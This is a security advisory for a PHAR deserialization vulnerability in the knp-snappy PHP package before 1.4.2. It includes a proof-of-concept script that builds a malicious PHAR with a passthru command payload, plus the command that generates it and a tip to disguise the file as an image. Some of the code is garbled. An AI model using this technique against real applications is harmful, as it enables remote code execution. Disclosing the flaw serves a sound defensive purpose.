GHSA-gq6w-q6wh-jggc PHAR deserialization allowing remote code execution

• Packagist knplabs/knp-snappy: < 1.4.2 → fixed in 1.4.2

Description snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the `file_exists()` function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the `generateFromHtml()` function, it will invoke deserialization. Proof of Concept Install Snappy via composer require `knplabs/knp-snappy`. After that, under snappy directory, create an `index.php` file with this vulnerable code. ```php callback, $this->fileName); } } $snappy = new Pdf('/usr/local/bin/wkhtmltopdf'); // generate pdf from html content and save it at phar://poc.phar $snappy->generateFromHtml('BillYou owe me money, dude.', 'phar://poc.phar'); ``` As an attacker, we going to generate the malicious phar using this script. ```php callback = "passthru"; $dummy->fileName = "uname -a > pwned"; //our payload // Delete any existing PHAR archive with that name @unlink("poc.phar"); // Create a new archive $poc = new Phar("poc.phar"); // Add all write operations to a buffer, without modifying the archive on disk $poc->startBuffering(); // Set the stub $poc->setStub("setMetadata($dummy); // Stop buffering and write changes to disk $poc->stopBuffering(); ?> ``` Then run these command to generate the file ```php php --define phar.readonly=0 generate_phar.php ``` Then execute index.php with `php index.php`. You will see a file named `pwned` will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick. Impact This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. Occurences References •